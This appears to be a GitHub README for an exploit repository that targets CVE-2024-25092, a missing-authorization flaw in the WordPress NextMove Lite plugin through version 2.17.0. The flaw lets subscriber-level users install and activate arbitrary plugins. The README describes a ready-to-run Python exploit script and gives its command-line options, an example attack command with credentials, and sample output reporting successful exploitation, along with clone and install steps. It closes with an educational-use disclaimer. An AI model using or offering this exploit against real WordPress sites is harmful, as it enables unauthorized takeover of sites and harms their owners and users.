nxploited/cve-2024-25092WordPress NextMove Lite plugin <= 2.17.0 - Subscriber+ Arbitrary Plugin Installation/Activation vulnerability
CVE-2024-25092 is a high-severity vulnerability affecting the WordPress NextMove Lite plugin (versions <= 2.17.0). This vulnerability allows a subscriber+ user to install and activate arbitrary plugins on a WordPress site due to missing authorization checks.
The XLPlugins NextMove Lite plugin for WordPress has a missing authorization vulnerability, allowing authenticated users with subscriber-level permissions or higher to perform arbitrary plugin installations and activations. This can lead to a complete compromise of the WordPress site.
The provided Python script automates the exploitation of this vulnerability by logging into the WordPress site and installing a specified plugin.
usage: CVE-2024-25092.py [-h] -u URL -un USERNAME -p PASSWORD [-pl PLUGIN]
Exploit script for CVE-2024-25092 By Nxploit Khaled Alenazi.
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL
-un USERNAME, --username USERNAME
Username
-p PASSWORD, --password PASSWORD
Password
-pl PLUGIN, --plugin PLUGIN
Plugin to install (default: cart-for-woocommerce)
python CVE-2024-25092.py -u http://example.com -un admin -p password -pl custom-plugin
Logged in successfully.
Site is vulnerable... Exploiting and uploading plugin
Plugin 'cart-for-woocommerce' installed and activated successfully.
requests libraryClone the repository:
git clone https://github.com/Nxploited/CVE-2024-25092.git
cd CVE-2024-25092
Install the required Python packages:
pip install requests
This script is intended for educational purposes only. Use it responsibly and only on systems for which you have explicit permission. Unauthorized use of this script is illegal and unethical.